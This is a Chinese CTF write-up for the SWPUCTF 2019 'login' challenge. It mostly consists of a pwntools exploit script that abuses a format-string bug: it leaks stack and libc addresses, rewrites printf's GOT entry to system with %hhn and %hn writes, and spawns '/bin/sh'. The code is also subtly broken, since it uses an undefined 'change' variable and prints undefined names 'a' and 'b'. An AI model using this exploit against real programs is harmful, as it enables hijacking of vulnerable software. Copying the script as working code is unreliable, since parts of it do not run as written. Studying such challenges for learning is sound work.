通过这个题学到了用gdb.debug("./程序",“此处可下断点”)
此题拿到是没有头绪的,看了师傅们的wp才发现,原来格式化字符串也能出的挺难。
偏移为9的地方和got表中的printf很接近,我们就利用格式化字符串将此处的值换为printf_got。
同时将偏移为8的地方换成printf_got+2,这是为什么呢,因为我们之后需要将printf_got替换为system,而本题不能直接用%n替换,要用%hhn和%hn。
分步分析:
第一步:不用解释了吧
from pwn import *
io = process("SWPUCTF_2019_login")
io = gdb.debug("./SWPUCTF_2019_login","b *0x804856d")
#io=remote('node4.buuoj.cn',29090)
io.sendline('xieyichen')
elf = ELF("./SWPUCTF_2019_login")
libc = elf.libc
第二步:得到栈的地址,且ptr是后0x**这样的
io.recvuntil('password:')
io.sendline('%6$p') #6->10
io.recvuntil('wrong password: ')
ptr=(int(io.recvline()[2:],16)-4)&0xff
print(hex(ptr))
第三步:偏移为9处改为printf_got.
pl1='%'+str(change)+'c'+'%6$hhn' #10->9
io.recvuntil('Try again!')
io.sendline(pl1)
pl2='%'+str(0x14)+'c'+'%10$hhn' #9->printf_got
io.recvuntil('Try again!')
io.sendline(pl2)
第四步:将偏移为8处改为printf_got+2,方便以后改printf_got为system
pl1='%'+str(change-4)+'c'+'%6$hhn' #10->8
io.recvuntil('Try again!')
io.sendline(pl1)
pl2='%'+str(0xb016)+'c'+'%10$hn' #8->print_got+2
io.recvuntil('Try again!')
io.sendline(pl2)
第五步:泄露地址
io.recvuntil('Try again!')
io.sendline('%9$s')
io.recvuntil('wrong password: ')
print_add=u32(io.recv(4))
print(hex(print_add))
第六步:改printf_got为system,get shell.
libc_base=print_add-0x050b60
sys=libc_base+0x03cd10
print(hex(sys))
di=sys&0xffff
print(hex(a))
gao=sys>>16
print(hex(b))
#将printf 覆盖为 system,getshell
pl3='%'+str(di)+'c'+'%9$hn'+'%'+str(gao-di)+'c'+'%8$hn'
io.recvuntil('Try again!')
io.sendline(pl3)
io.sendline('/bin/sh')